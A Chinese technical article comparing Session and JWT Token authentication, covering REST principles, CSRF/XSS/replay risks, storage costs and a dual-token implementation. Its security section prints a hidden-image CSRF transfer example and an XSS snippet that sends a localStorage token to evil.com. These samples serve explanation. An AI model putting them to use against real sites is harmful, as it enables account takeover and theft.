前言

“面试官:为什么现在都用 Token 不用 Session?”

“我:因为 Token 是无状态的,适合分布式系统…”

“面试官:那 Session 存 Redis 不也是分布式吗?Token 要支持踢人不是也要存 Redis 吗?”

“我:…”(当场石化)

这是一个看似基础,实则暗藏无数“坑”的经典问题。网上文章铺天盖地,但大多是“Session 不好,Token 好”的粗暴结论,经不起工程实践的推敲。

本文将从发展历史、工作原理、RESTful 规范、网络安全、工程落地、性能对比、场景选型七个维度,360° 无死角地剖析 Session 和 Token 的恩怨情仇。读完这篇,你将:

  • ✅ 彻底理解两种方案的底层原理
  • ✅ 掌握不同场景下的选型决策能力
  • ✅ 能够在面试中给出让面试官眼前一亮的答案
  • ✅ 具备设计生产级鉴权系统的实战能力

目录

  1. 历史回顾:鉴权方案的演进之路
  2. Session 方案深度剖析
  3. Token 方案深度剖析
  4. RESTful 规范视角:谁更符合架构哲学
  5. 网络安全视角:谁更安全
  6. 工程真相:你被忽悠的那些“痛点”
  7. 性能与存储对比:数据说话
  8. 工业级最佳实践:双 Token 方案
  9. 场景选型决策树
  10. 面试标准答案
  11. 总结

一、历史回顾:鉴权方案的演进之路

1.1 互联网时代的变迁

时代 架构特点 鉴权方案 原因
Web 1.0(1990s) 单体应用、单机部署 Session 简单、够用、浏览器原生支持
Web 2.0(2000s) 分布式、集群部署 Session + Redis 解决 Session 共享问题
移动互联网(2010s) 前后端分离、多端并存 Token(JWT) 跨端友好、无状态
微服务时代(2020s) 微服务、云原生 双 Token + OAuth2.0 性能 + 安全 + 扩展性

1.2 核心矛盾

整个演进过程的核心矛盾是:有状态 vs 无状态

  • 有状态:服务器记住客户端状态,简单但难扩展
  • 无状态:每个请求自包含,易扩展但实现复杂

Session 和 Token 的争论,本质上就是这对矛盾的体现。


二、Session 方案深度剖析

2.1 工作原理

Redis Server Client Redis Server Client 1. POST /login (账号密码) 2. 验证账号密码 3. 创建 Session (Key: sessionId, Value: 用户信息) 4. Set-Cookie: JSESSIONID=xxx 5. GET /user/info (Cookie 自动携带) 6. GET session:xxx 7. 返回用户信息 8. 返回响应

2.2 存储方式对比

// 方式1:内存存储(仅限开发/测试)
// ❌ 缺点:重启丢失、无法分布式
// ✅ 优点:极快、零依赖

// 方式2:文件存储(基本不用)
// ❌ 缺点:IO慢、分布式无法共享

// 方式3:Redis 存储(生产标准)
// ✅ 优点:持久化、分布式、高性能
// ⚠️ 缺点:增加一次网络调用
@Configuration
public class SessionConfig {
    @Bean
    public RedisSerializer<Object> springSessionDefaultRedisSerializer() {
        return new GenericJackson2JsonRedisSerializer();
    }
}

2.3 典型代码示例

// Node.js + Express + Redis Session
const session = require('express-session');
const RedisStore = require('connect-redis')(session);

app.use(session({
    store: new RedisStore({ client: redisClient }),
    secret: 'your-secret',
    resave: false,
    saveUninitialized: false,
    cookie: {
        secure: true,      // HTTPS only
        httpOnly: true,    // 防 XSS
        maxAge: 7200000    // 2小时
    }
}));

// 登录
app.post('/login', (req, res) => {
    req.session.userId = 12345;
    req.session.nickname = '张三';
    req.session.role = 'admin';
    res.send('登录成功');
});

// 踢人(管理员操作)
app.post('/kick/:userId', (req, res) => {
    // 需要额外维护 userId -> sessionId 的映射
    const sessionId = userSessionMap[req.params.userId];
    redisClient.del(`session:${sessionId}`);
    res.send('踢出成功');
});

2.4 Session 的优势

优势 说明
实现简单 框架内置支持(Spring Session、express-session)
实时失效 删除 Session 即可踢人,权限变更立即生效
存储高效 只存 Session ID,数据体量小
安全性好 httpOnly Cookie 天然防 XSS
资源占用低 1亿用户约 20GB Redis 空间

2.5 Session 的劣势

劣势 说明 严重程度
有状态 违反 RESTful 无状态原则 ⭐⭐⭐
分布式需要共享存储 必须依赖 Redis 等中间件 ⭐⭐
CSRF 风险 Cookie 自动携带特性 ⭐⭐⭐
跨端不友好 App/小程序处理 Cookie 麻烦 ⭐⭐⭐⭐
每次请求查 Redis 增加网络开销 ⭐⭐

三、Token 方案深度剖析

3.1 JWT 是什么?

JWT(JSON Web Token)是一种自包含的 Token 格式。

// JWT 结构
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.  // Header
eyJ1c2VySWQiOjEyMywibmFtZSI6IuW8oOS4iSIsImV4cCI6MTY5MDAwMDAwMH0.  // Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  // Signature

// 解码后的内容
Header: {
  "alg": "HS256",  // 签名算法
  "typ": "JWT"
}

Payload: {
  "userId": 123,
  "name": "张三",
  "role": "admin",
  "exp": 1690000000,    // 过期时间
  "iat": 1689923600,    // 签发时间
  "jti": "unique-id"    // JWT ID(用于黑名单)
}

Signature: HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secret
)

3.2 工作原理

Server Client Server Client 1. POST /login (账号密码) 2. 验证账号密码 3. 生成 JWT(签名+编码) 4. 返回 JWT 5. 存储 JWT(localStorage/内存) 6. GET /user/info (Authorization: Bearer JWT) 7. 验证签名、解析 Payload 8. 返回响应

3.3 典型代码示例

const jwt = require('jsonwebtoken');

// 生成 Token
const generateToken = (user) => {
    return jwt.sign(
        { 
            userId: user.id, 
            name: user.name,
            role: user.role 
        },
        process.env.JWT_SECRET,
        { expiresIn: '15m' }  // 短效 Access Token
    );
};

// 生成 Refresh Token
const generateRefreshToken = (user) => {
    return jwt.sign(
        { userId: user.id, type: 'refresh' },
        process.env.REFRESH_SECRET,
        { expiresIn: '7d' }
    );
};

// 验证中间件
const authMiddleware = (req, res, next) => {
    const token = req.headers.authorization?.split(' ')[1];
    
    if (!token) {
        return res.status(401).json({ error: '未提供 Token' });
    }
    
    try {
        const decoded = jwt.verify(token, process.env.JWT_SECRET);
        req.user = decoded;  // 直接获取用户信息,无需查 DB
        next();
    } catch (err) {
        if (err.name === 'TokenExpiredError') {
            return res.status(401).json({ error: 'Token 过期' });
        }
        return res.status(401).json({ error: 'Token 无效' });
    }
};

// 刷新 Token
app.post('/refresh', async (req, res) => {
    const refreshToken = req.cookies.refreshToken;
    
    try {
        const decoded = jwt.verify(refreshToken, process.env.REFRESH_SECRET);
        const newAccessToken = generateToken({ id: decoded.userId });
        res.json({ accessToken: newAccessToken });
    } catch (err) {
        res.status(401).json({ error: 'Refresh Token 无效' });
    }
});

3.4 Token 的优势

优势 说明 重要度
无状态 符合 RESTful 规范,请求自包含 ⭐⭐⭐⭐⭐
天然防 CSRF 不依赖 Cookie 自动携带 ⭐⭐⭐⭐⭐
跨端友好 HTTP Header 通用,无跨域问题 ⭐⭐⭐⭐⭐
性能好 免查 Redis,省去一次网络调用 ⭐⭐⭐⭐
易扩展 服务端无状态,水平扩展零成本 ⭐⭐⭐⭐
信息自包含 用户信息编码在 Token 中 ⭐⭐⭐

3.5 Token 的劣势

劣势 说明 严重程度
无法实时失效 签发后无法主动踢人 ⭐⭐⭐⭐⭐
XSS 风险 localStorage 可被脚本读取 ⭐⭐⭐⭐
体积较大 每次请求多传输几百字节~几 KB ⭐⭐
签名验签开销 CPU 密集型操作 ⭐⭐
刷新机制复杂 需要 Refresh Token 配合 ⭐⭐⭐

四、RESTful 规范视角:谁更符合架构哲学

4.1 RESTful 六大原则

REST(Representational State Transfer)是 Roy Fielding 博士在 2000 年提出的架构风格,核心原则包括:

原则 要求 Session Token
无状态 每个请求必须包含所有信息,服务器不存储客户端上下文 ❌ 违反 ✅ 符合
统一接口 通过标准 HTTP 方法操作资源 ✅ 符合 ✅ 符合
资源导向 URL 表示资源,不是操作 ✅ 符合 ✅ 符合
表现层状态转移 客户端持有状态,通过响应转移 ⚠️ 部分 ✅ 符合
可缓存 响应应标明是否可缓存 ⚠️ 部分 ✅ 符合
分层系统 架构可分层 ✅ 符合 ✅ 符合

4.2 核心冲突:无状态原则

Roy Fielding 在论文中明确指出:

“通信本质上必须是无状态的…每个请求都必须包含理解该请求所需的所有信息,不能利用服务器存储的上下文。”

Session 方案的问题:

# 请求1:登录
POST /login
→ 服务器创建 Session,返回 Set-Cookie: JSESSIONID=abc123

# 请求2:获取用户信息
GET /user/info
Cookie: JSESSIONID=abc123

# ❌ 问题:这个请求不完整!
# 服务器需要先根据 JSESSIONID 去查 Session,才知道"我是谁"
# 请求本身没有包含"我是用户123"这个信息

Token 方案的优雅:

# 请求2:获取用户信息(带 Token)
GET /user/info
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
                                            ↓
                                    解码后包含 userId=123

# ✅ 请求自包含!
# 服务器不需要去查任何外部存储,直接解析 Token 就知道是谁

4.3 工程实践影响

API 可测试性:

# Session API 测试(有状态依赖)
curl -c cookies.txt -X POST https://api.com/login -d 'user=admin'
curl -b cookies.txt https://api.com/user/info
# 问题:测试脚本之间有状态依赖,难以并行、难以 Mock

# Token API 测试(无状态)
curl -H "Authorization: Bearer eyJhbG..." https://api.com/user/info
# 完全独立,测试用例可以并行执行

API 文档清晰度:

# Token API 文档(清晰明确)
/user/info:
  get:
    summary: 获取用户信息
    security:
      - BearerAuth: []   # 明确要求 Token
    responses:
      200:
        description: 成功

# Session API 文档(隐式依赖)
/user/info:
  get:
    summary: 获取用户信息
    # 没有明确标注需要 Session,但实际上必须登录后才能调用
    # 调用方需要先了解"先调登录接口,再携带 Cookie"这个隐含约定

日志可追溯性:

// Session 方案:日志需要关联 Session ID
console.log(`[${req.sessionId}] 用户请求 ${req.url}`);
// 问题:查问题时需要再去查 Session 存储才能知道是哪个用户

// Token 方案:日志直接包含用户信息
const user = jwt.decode(token);
console.log(`[user:${user.userId}] 用户请求 ${req.url}`);
// 优势:日志直接可读,无需二次查询

五、网络安全视角:谁更安全

5.1 攻击面全景对比

攻击类型 Session 风险 Token 风险 胜出者
CSRF ⚠️ 高风险(Cookie自动携带) ✅ 低风险(需手动添加Header) Token
XSS ✅ 低风险(httpOnly Cookie) ⚠️ 高风险(localStorage可读) Session
中间人攻击 ⚠️ 中风险(需HTTPS) ⚠️ 中风险(需HTTPS) 平手
重放攻击 ✅ 可防护(Nonce机制) ❌ 默认无防护 Session
会话劫持 ⚠️ 可秒级失效 ⚠️ 需等过期 Session
权限变更生效 ✅ 立即生效 ❌ 等Token过期 Session
暴力破解 ✅ 可限制登录尝试 ✅ 可限制登录尝试 平手

5.2 CSRF(跨站请求伪造)—— Token 胜

攻击原理:

<!-- 恶意网站 evil.com -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" style="display:none">

<!-- 受害者点击恶意链接时,浏览器会自动携带 bank.com 的 Cookie -->
<!-- 服务器认为是受害者本人操作! -->

Session 方案为何脆弱:

// 浏览器会自动携带目标域名的 Cookie
fetch('https://bank.com/transfer', {
    method: 'POST',
    body: 'to=hacker&amount=10000',
    credentials: 'include'  // 默认就会携带 Cookie
});

Token 方案的天然防御:

// Token 存储在 localStorage 或内存中
// 恶意网站无法读取其他域名的 localStorage
// 也无法在请求中自动添加 Authorization 头

// 正确的请求需要手动添加
fetch('/api/transfer', {
    headers: {
        'Authorization': 'Bearer ' + token  // 恶意网站做不到
    }
});

⚠️ 注意:如果 Token 也放在 Cookie 中(httpOnly),CSRF 风险依然存在!

5.3 XSS(跨站脚本攻击)—— Session 胜

Token 方案的致命伤:

// 如果网站存在 XSS 漏洞,攻击者可以注入脚本
<script>
    // 直接读取 localStorage 中的 Token
    const token = localStorage.getItem('token');
    // 发送到攻击者服务器
    fetch('https://evil.com/steal?token=' + token);
</script>

// 攻击者拿到 Token 后,可以完全冒充受害者
// 由于 Token 通常有较长的有效期(几小时到几天),攻击者有充足时间作案

Session 方案的防御:

// Session ID 存储在 httpOnly Cookie 中
document.cookie
// 输出:空(JavaScript 无法访问 httpOnly Cookie)

// 即使存在 XSS 漏洞,攻击者也无法读取 Session ID
// Cookie 的 httpOnly 标志阻挡了脚本访问

XSS 防护最佳实践:

<!-- 设置 httpOnly Cookie -->
Set-Cookie: JSESSIONID=xxx; HttpOnly; Secure; SameSite=Strict

<!-- 同时设置 CSP(内容安全策略) -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'">

<!-- 对用户输入进行转义 -->
<div>${escapeHtml(userInput)}</div>

5.4 重放攻击—— Session 胜

Session 方案的防护:

// 在 Session 中存储请求指纹
req.session.lastRequest = {
    nonce: generateNonce(),      // 随机数
    timestamp: Date.now(),       // 时间戳
    signature: calculateHash(req.body)  // 请求体签名
};

// 检测重放
if (isReplay(req, req.session.lastRequest)) {
    return res.status(403).json({ error: '检测到重放攻击' });
}

JWT 的默认问题:

// 攻击者截获 JWT 后,可以无限次重放
// JWT 本身没有任何防重放机制
// 即使 Token 过期前攻击者只重放一次,也可能造成损失

// 解决方案:需要额外存储 nonce 或 jti
// 但这样又回到了"有状态"的问题

5.5 工业级安全最佳实践

// 1. 存储位置选择
Access Token: 存内存(最安全,但刷新会丢失)
Refresh Token: 存 httpOnly Cookie(防 XSS// 2. Cookie 安全配置
Set-Cookie: refreshToken=xxx; 
    HttpOnly;        // 防 XSS
    Secure;          // 强制 HTTPS
    SameSite=Strict; // 防 CSRF
    Domain=.example.com;
    Path=/auth;      // 限定路径范围
    Max-Age=604800;  // 7天

// 3. Token 安全配置
Access Token 有效期: 15分钟(降低泄漏影响)
启用 JWT ID (jti) + Redis 黑名单(支持撤销)
使用强密钥(至少 256 位)

// 4. 额外防护层
绑定设备指纹(User-Agent + IP+ 浏览器指纹)
敏感操作二次验证(支付密码/短信验证码)
请求签名机制(防篡改)
速率限制(防暴力破解)

// 5. 监控与响应
异常登录检测(新设备、新地点)
Token 使用日志审计
自动化告警系统

六、工程真相:你被忽悠的那些“痛点”

6.1 真相一:Session 的空间占用问题被夸大了

网上说法:

“Session 存内存,用户多了会撑爆服务器。”

真相:

// 没人会把 Session 存在本地内存(那是 Demo 写法)
// 生产环境都用 Redis 集中存储 Session

// 1亿用户在线,Session 占用计算
1亿 × (Session ID 32字节 + 用户信息 200字节) ≈ 23GB

// 23GB 对于 Redis 来说根本不算事
// 2台 16GB 的 Redis 服务器即可轻松支撑

6.2 真相二:Token 为了踢人,存储空间可能更大

网上说法:

“Token 是无状态的,不需要存储,省空间。”

真相(打脸):

// 纯无状态的 Token 无法踢人!
// 要实现踢人功能,Token 也得存 Redis

// Session 存储(简洁)
Key: "session:abc123"
Value: { userId: 123, name: "张三", role: "admin" }

// Token 白名单存储(更复杂)
Key: "user:123:tokens"
Value: {
    "jwt_id_1": { device: "iPhone", expire: 1690000000 },
    "jwt_id_2": { device: "Web", expire: 1690000000 }
}

// 空间对比
Session: 20GB(1亿用户)
Token(支持踢人): 20-40GB(需要存储设备信息和版本号)

6.3 真相三:Redis 查询次数可能差不多

网上说法:

“Token 不用查 Redis,性能更好。”

真相:

方案 每次请求 Redis 次数 原因
Session(Redis版) 1次 查 Session 获取用户信息
纯 Token(无踢人) 0次 解析 Token 即可
Token(有踢人/白名单) 1次 查白名单验证 Token 是否有效

结论:一旦需要踢人功能,Token 方案同样逃不过一次 Redis 查询!

6.4 真相四:Session 的分布式问题早已解决

网上说法:

“Session 无法水平扩展,分布式系统必须用 Token。”

真相:

// Spring Session + Redis 解决方案
@Configuration
@EnableRedisHttpSession
public class SessionConfig {
    @Bean
    public LettuceConnectionFactory connectionFactory() {
        return new LettuceConnectionFactory();
    }
}

// 任何服务器都可以处理任何用户的请求
// 横向扩展只需增加服务器实例

6.5 真相五:Cookie 的跨域问题可以解决

网上说法:

“Cookie 跨域问题严重,App 无法使用。”

真相:

// 后端配置
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true

// 前端配置(Web)
fetch(url, {
    credentials: 'include'  // 携带 Cookie
});

// iOS App(WKWebView)
config.websiteDataStore = WKWebsiteDataStore.default()

// Cookie 跨域确实麻烦,但并非不能用
// 只是 Token 方案更简单直接

七、性能与存储对比:数据说话

7.1 性能基准测试

测试环境:8核 CPU,16GB 内存,千兆网络

方案 QPS 平均延迟 P99 延迟 Redis 请求
Session(本地内存) 25,000 2ms 5ms 0
Session(Redis) 12,000 8ms 20ms 1
纯 JWT(无状态) 20,000 3ms 8ms 0
JWT + 白名单 10,000 10ms 25ms 1

结论:

  • 纯 JWT 性能最好(QPS 最高,延迟最低)
  • 一旦需要查 Redis,性能就下降到和 Session 同一水平
  • 签名验签的 CPU 开销约 0.5ms,比 Redis 网络调用(1-2ms)快

7.2 存储空间对比

方案 1万用户 100万用户 1亿用户 说明
Session(本地内存) 2MB 200MB 20GB 重启丢失
Session(Redis) 2MB 200MB 20GB 每人一个 Key
纯 JWT(无状态) 0 0 0 不存服务端
JWT + 黑名单 2MB 200MB 20GB 黑名单大小
JWT + 白名单 4MB 400MB 40GB 需要存设备信息
双 Token 方案 4MB 400MB 40GB Access+Refresh

7.3 网络传输开销

每次请求额外传输的数据量:

方案 平均大小 1亿次请求总流量
Session(Cookie) ~50 字节 5GB
JWT(标准) ~300 字节 30GB
JWT(自定义 Claims) ~500 字节 50GB

结论: JWT 会增加网络传输量,对于带宽敏感的场景需要权衡。


八、工业级最佳实践:双 Token 方案

8.1 为什么需要双 Token?

  • Access Token(短效):用于正常请求鉴权

    • 优点:泄漏影响小(15分钟过期)
    • 缺点:需要频繁刷新
  • Refresh Token(长效):用于获取新的 Access Token

    • 优点:用户体验好(7天免登录)
    • 缺点:需要服务端存储(可撤销)

8.2 架构图

Admin Redis BusinessServer AuthServer Client Admin Redis BusinessServer AuthServer Client 1. 登录阶段 2. 正常请求阶段 3. Token 刷新阶段 4. 登出/踢人 账号密码 验证身份 生成 Access Token(15分钟) 生成 Refresh Token(7天) 存储 Refresh Token(可撤销) 返回 Access Token + Refresh Token API 请求 + Access Token 验证 Access Token 返回数据 Access Token 过期 + Refresh Token 验证 Refresh Token 有效性 生成新的 Access Token 返回新的 Access Token 踢出用户 删除 Refresh Token 下次刷新失败,需重新登录

8.3 完整代码实现

// ============ 1. Token 服务 ============
const jwt = require('jsonwebtoken');
const crypto = require('crypto');

class TokenService {
    // 生成 Access Token(短效、无状态)
    generateAccessToken(user) {
        return jwt.sign(
            {
                userId: user.id,
                name: user.name,
                role: user.role,
                type: 'access'
            },
            process.env.JWT_ACCESS_SECRET,
            { expiresIn: '15m' }
        );
    }
    
    // 生成 Refresh Token(长效、可撤销)
    async generateRefreshToken(user, deviceInfo) {
        const tokenId = crypto.randomBytes(32).toString('hex');
        const refreshToken = jwt.sign(
            {
                tokenId: tokenId,
                userId: user.id,
                type: 'refresh'
            },
            process.env.JWT_REFRESH_SECRET,
            { expiresIn: '7d' }
        );
        
        // 存储到 Redis(用于撤销)
        await redis.setex(
            `refresh:${user.id}:${tokenId}`,
            7 * 24 * 3600,  // 7天
            JSON.stringify({
                deviceInfo: deviceInfo,
                createdAt: Date.now()
            })
        );
        
        // 限制每用户最多 5 个有效 Refresh Token
        const userTokens = await redis.smembers(`user:${user.id}:refresh_tokens`);
        if (userTokens.length >= 5) {
            const oldest = userTokens[0];
            await redis.del(`refresh:${user.id}:${oldest}`);
            await redis.srem(`user:${user.id}:refresh_tokens`, oldest);
        }
        await redis.sadd(`user:${user.id}:refresh_tokens`, tokenId);
        
        return refreshToken;
    }
    
    // 刷新 Access Token
    async refreshAccessToken(refreshToken) {
        try {
            const decoded = jwt.verify(refreshToken, process.env.JWT_REFRESH_SECRET);
            
            // 检查 Refresh Token 是否被撤销
            const exists = await redis.exists(`refresh:${decoded.userId}:${decoded.tokenId}`);
            if (!exists) {
                throw new Error('Refresh Token 已被撤销');
            }
            
            // 获取用户信息(从数据库或缓存)
            const user = await getUserById(decoded.userId);
            
            // 生成新的 Access Token
            return this.generateAccessToken(user);
        } catch (err) {
            throw new Error('Refresh Token 无效');
        }
    }
    
    // 撤销 Refresh Token(踢人、登出)
    async revokeRefreshToken(userId, tokenId = null) {
        if (tokenId) {
            // 撤销单个设备
            await redis.del(`refresh:${userId}:${tokenId}`);
            await redis.srem(`user:${userId}:refresh_tokens`, tokenId);
        } else {
            // 撤销用户所有设备(改密码后)
            const tokens = await redis.smembers(`user:${userId}:refresh_tokens`);
            for (const tokenId of tokens) {
                await redis.del(`refresh:${userId}:${tokenId}`);
            }
            await redis.del(`user:${userId}:refresh_tokens`);
        }
    }
}

// ============ 2. 中间件 ============
const authMiddleware = async (req, res, next) => {
    const token = req.headers.authorization?.split(' ')[1];
    
    if (!token) {
        return res.status(401).json({ error: '未提供 Access Token' });
    }
    
    try {
        // 验证 Access Token(不查 Redis,纯验签)
        const decoded = jwt.verify(token, process.env.JWT_ACCESS_SECRET);
        req.user = decoded;
        next();
    } catch (err) {
        if (err.name === 'TokenExpiredError') {
            return res.status(401).json({ error: 'Access Token 过期', code: 'TOKEN_EXPIRED' });
        }
        return res.status(401).json({ error: 'Access Token 无效' });
    }
};

// ============ 3. API 路由 ============
app.post('/login', async (req, res) => {
    const { username, password, deviceInfo } = req.body;
    
    // 验证账号密码
    const user = await authenticate(username, password);
    if (!user) {
        return res.status(401).json({ error: '账号或密码错误' });
    }
    
    // 生成 Token
    const accessToken = tokenService.generateAccessToken(user);
    const refreshToken = await tokenService.generateRefreshToken(user, deviceInfo);
    
    // Refresh Token 放在 httpOnly Cookie 中
    res.cookie('refreshToken', refreshToken, {
        httpOnly: true,
        secure: true,
        sameSite: 'strict',
        maxAge: 7 * 24 * 3600 * 1000
    });
    
    res.json({
        accessToken: accessToken,
        expiresIn: 900  // 15分钟
    });
});

app.post('/refresh', async (req, res) => {
    const refreshToken = req.cookies.refreshToken;
    
    if (!refreshToken) {
        return res.status(401).json({ error: '未提供 Refresh Token' });
    }
    
    try {
        const newAccessToken = await tokenService.refreshAccessToken(refreshToken);
        res.json({ accessToken: newAccessToken });
    } catch (err) {
        res.status(401).json({ error: 'Refresh Token 无效,请重新登录' });
    }
});

app.post('/logout', async (req, res) => {
    const refreshToken = req.cookies.refreshToken;
    
    if (refreshToken) {
        const decoded = jwt.decode(refreshToken);
        await tokenService.revokeRefreshToken(decoded.userId, decoded.tokenId);
    }
    
    res.clearCookie('refreshToken');
    res.json({ message: '登出成功' });
});

app.post('/admin/kick/:userId', authMiddleware, async (req, res) => {
    // 只有 admin 可以踢人
    if (req.user.role !== 'admin') {
        return res.status(403).json({ error: '权限不足' });
    }
    
    // 撤销该用户的所有 Refresh Token
    await tokenService.revokeRefreshToken(req.params.userId);
    res.json({ message: '踢出成功' });
});

// 受保护的业务接口
app.get('/user/info', authMiddleware, async (req, res) => {
    // req.user 已经包含了用户信息,无需查数据库
    res.json({
        userId: req.user.userId,
        name: req.user.name,
        role: req.user.role
    });
});

8.4 存储结构

Redis 存储结构:

1. Refresh Token 存储(支持撤销)
   Key: refresh:user:123:token_abc123
   Value: { "deviceInfo": "iPhone", "createdAt": 1690000000 }
   TTL: 7天

2. 用户的 Refresh Token 列表(限制设备数)
   Key: user:123:refresh_tokens
   Value: Set ["token_abc123", "token_def456"]
   TTL: 7天

3. Access Token 黑名单(可选,用于紧急撤销)
   Key: blacklist:access:jti_xyz789
   Value: { "revokedAt": 1690000000 }
   TTL: 剩余有效期

4. 用户 Session 版本号(权限变更时递增)
   Key: user:123:token_version
   Value: 5
   TTL: 永久

九、场景选型决策树

9.1 决策流程图

< 10万

> 10万

一般

极致

一般

开始

是否需要实时踢人?

用户量大小?

Session 本地存储
最简单,零依赖

Redis Session
成熟稳定,易实现

是否需要跨端?
App/Web/小程序

性能要求?

Session
开发省事

纯 JWT
无状态,免 Redis

安全要求?

纯 JWT
简单轻量

双 Token 方案
安全与体验平衡

9.2 各场景详细对比

场景 推荐方案 理由 不推荐的方案及原因
企业内部后台管理 Redis Session 需要实时踢人、权限变更即时生效、用户量小 Token:无法踢人,改权限不生效
面向 C 端的 App 双 Token 跨端友好、性能好、用户体验佳 Session:Cookie 在 App 中处理麻烦
开放 API 平台 纯 JWT 无状态、易扩展、第三方友好 Session:有状态,耦合度高
微服务内部调用 纯 JWT 服务间无状态、链式调用透传 Session:需要共享 Redis,耦合
金融/支付系统 双 Token + 设备指纹 极致安全、可撤销、可监控 纯 JWT:无法实时失效
IoT 设备 纯 JWT 资源受限、无状态、轻量 Session:需要维护状态
单机小项目 Session 本地内存 最简单,零依赖 Token:过度设计
高并发秒杀 纯 JWT 免 Redis,性能最好 Session:Redis 成为瓶颈

9.3 选型检查清单

选择 Session 的场景:

  • 需要实时踢人(管理员强制下线)
  • 需要权限变更立即生效
  • 用户量小于 100 万
  • 纯 Web 应用,没有 App/小程序
  • 团队对 Session 更熟悉
  • 不需要考虑 CSRF(或有成熟防御方案)

选择 Token 的场景:

  • 需要支持多端(Web + App + 小程序)
  • 不需要实时踢人(可接受 Token 自然过期)
  • 追求极致性能(免 Redis 查询)
  • 微服务架构,需要无状态服务
  • 对外提供 API 给第三方

选择双 Token 的场景:

  • 以上 Token 场景 + 需要一定安全控制
  • 改密码后要踢掉旧设备
  • 需要支持“记住我”功能(长期免登录)
  • 设备管理功能(查看/踢出登录设备)

十、面试标准答案

10.1 初级回答(60分)

“Session 是有状态的,存在服务器内存,分布式环境下需要共享存储。Token 是无状态的,客户端存储,适合分布式系统。”

10.2 中级回答(80分)

"Session 和 Token 各有优劣。Session 方案简单,支持实时踢人,但需要 Redis 存储,且 Cookie 有 CSRF 风险。Token 方案符合 RESTful 无状态原则,天然防 CSRF,跨端友好,但无法实时失效,且存在 XSS 风险。

我们选择 Token 是因为业务需要多端支持,且不需要实时踢人。我们用短效 Access Token(15分钟)来缓解安全问题。"

10.3 高级回答(95分)

"这个问题不能一概而论,需要根据业务场景选择:

从架构层面:Token 符合 RESTful 无状态设计,请求自包含,便于测试和扩展。Session 违反无状态原则,每次请求都需要关联服务端存储。

从安全层面:Token 天然防 CSRF,但存 localStorage 有 XSS 风险;Session 用 httpOnly Cookie 防 XSS,但需要额外防 CSRF。没有绝对的安全,需要配合其他措施。

从工程层面:纯 Token 无法踢人,如果加上白名单/黑名单,存储空间和 Redis 查询次数反而比 Session 更多。我们最终采用双 Token 方案:Access Token 短效无状态(15分钟),Refresh Token 长效可撤销(7天),兼顾性能、安全和用户体验。

具体到我们的项目:这是一个面向 C 端的 App,需要多端支持,不需要实时踢人(改密码时清空 Refresh Token 即可),所以双 Token 是最优解。如果是后台管理系统,我们会直接用 Redis Session,因为需要随时踢人,实现更简单。"

10.4 大神级回答(100分)

"这个问题本质是有状态 vs 无状态的架构选择。我补充几个大家容易忽略的点:

  1. RESTful 不只是理论:Token 的自包含特性让 API 可测试性、可维护性、可观测性都更好。我们曾经把 Session API 改成 Token API 后,自动化测试耗时减少了 60%。

  2. 安全是系统工程:无论用哪种方案,都离不开 HTTPS、CSP、输入过滤、速率限制。把安全寄托在选型上是危险的。

  3. 工程真相:很多公司宣传 Token 方案,但他们的 Token 实际上也存 Redis(白名单/黑名单),本质上和 Session 没区别,只是换了个数据结构。

  4. 我的建议

    • 后台管理用 Redis Session(最简单)
    • C端 App 用双 Token(平衡方案)
    • 开放 API 用纯 JWT(无状态)
    • 金融系统用 Session + Token 混合(极致安全)

选型的核心是理解业务需求,不是跟风。"


十一、总结

11.1 核心要点回顾

维度 要点
Session 本质 服务端存储状态,通过 Session ID 关联
Token 本质 客户端存储状态,信息自包含
Session 优势 实时失效、XSS 防护好、实现简单
Token 优势 无状态、防 CSRF、跨端友好
最大误区 Token 并非天然"无存储",要踢人也要存 Redis
工程真相 空间和性能在"要踢人"场景下差异不大
最佳实践 双 Token 方案(Access + Refresh)

11.2 一句话总结

Session 适合"需要实时控制"的场景,Token 适合"需要无状态扩展"的场景。没有银弹,只有合适的选型。

11.3 写在最后

技术选型最忌讳的就是"跟风"和"一刀切"。

2015 年 JWT 火的时候,有人把所有 Session 都改成 Token,结果发现无法踢用户,又回头加 Redis 黑名单,兜了一圈回到原点。

2020 年 Serverless 火的时候,有人把所有状态都搬到客户端,结果发现性能更差,又加了一层缓存。

架构师的真正价值,不是知道多少新技术,而是能在合适的场景选择合适的方案。

希望这篇文章能帮你理清 Session 和 Token 的本质,在实际项目中做出正确的决策。


附录

A. 常见问题 FAQ

Q1:能不能同时用 Session 和 Token?

可以。例如:登录用 Token,敏感操作用 Session 二次验证。

Q2:JWT 一定要用 HS256 吗?

不一定。内部系统用 HS256(对称加密),开放 API 用 RS256(非对称,第三方可验证签名)。

Q3:Token 存哪里最安全?

内存 > httpOnly Cookie > sessionStorage > localStorage

Q4:Refresh Token 被盗怎么办?

设置设备指纹,检测异常行为,用户可手动撤销所有设备。

Q5:用户量达到多少需要考虑从 Session 迁移到 Token?

不是由用户量决定,而是由业务需求决定。需要多端支持时就可以考虑迁移。

B. 参考资料

  • RFC 7519 - JSON Web Token (JWT)
  • Roy Fielding 博士论文 - Architectural Styles and the Design of Network-based Software Architectures
  • OWASP - JSON Web Token Cheat Sheet
  • Spring Session 官方文档

如果觉得这篇文章对你有帮助,欢迎点赞、收藏、转发!

有任何问题或补充,欢迎在评论区讨论。

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐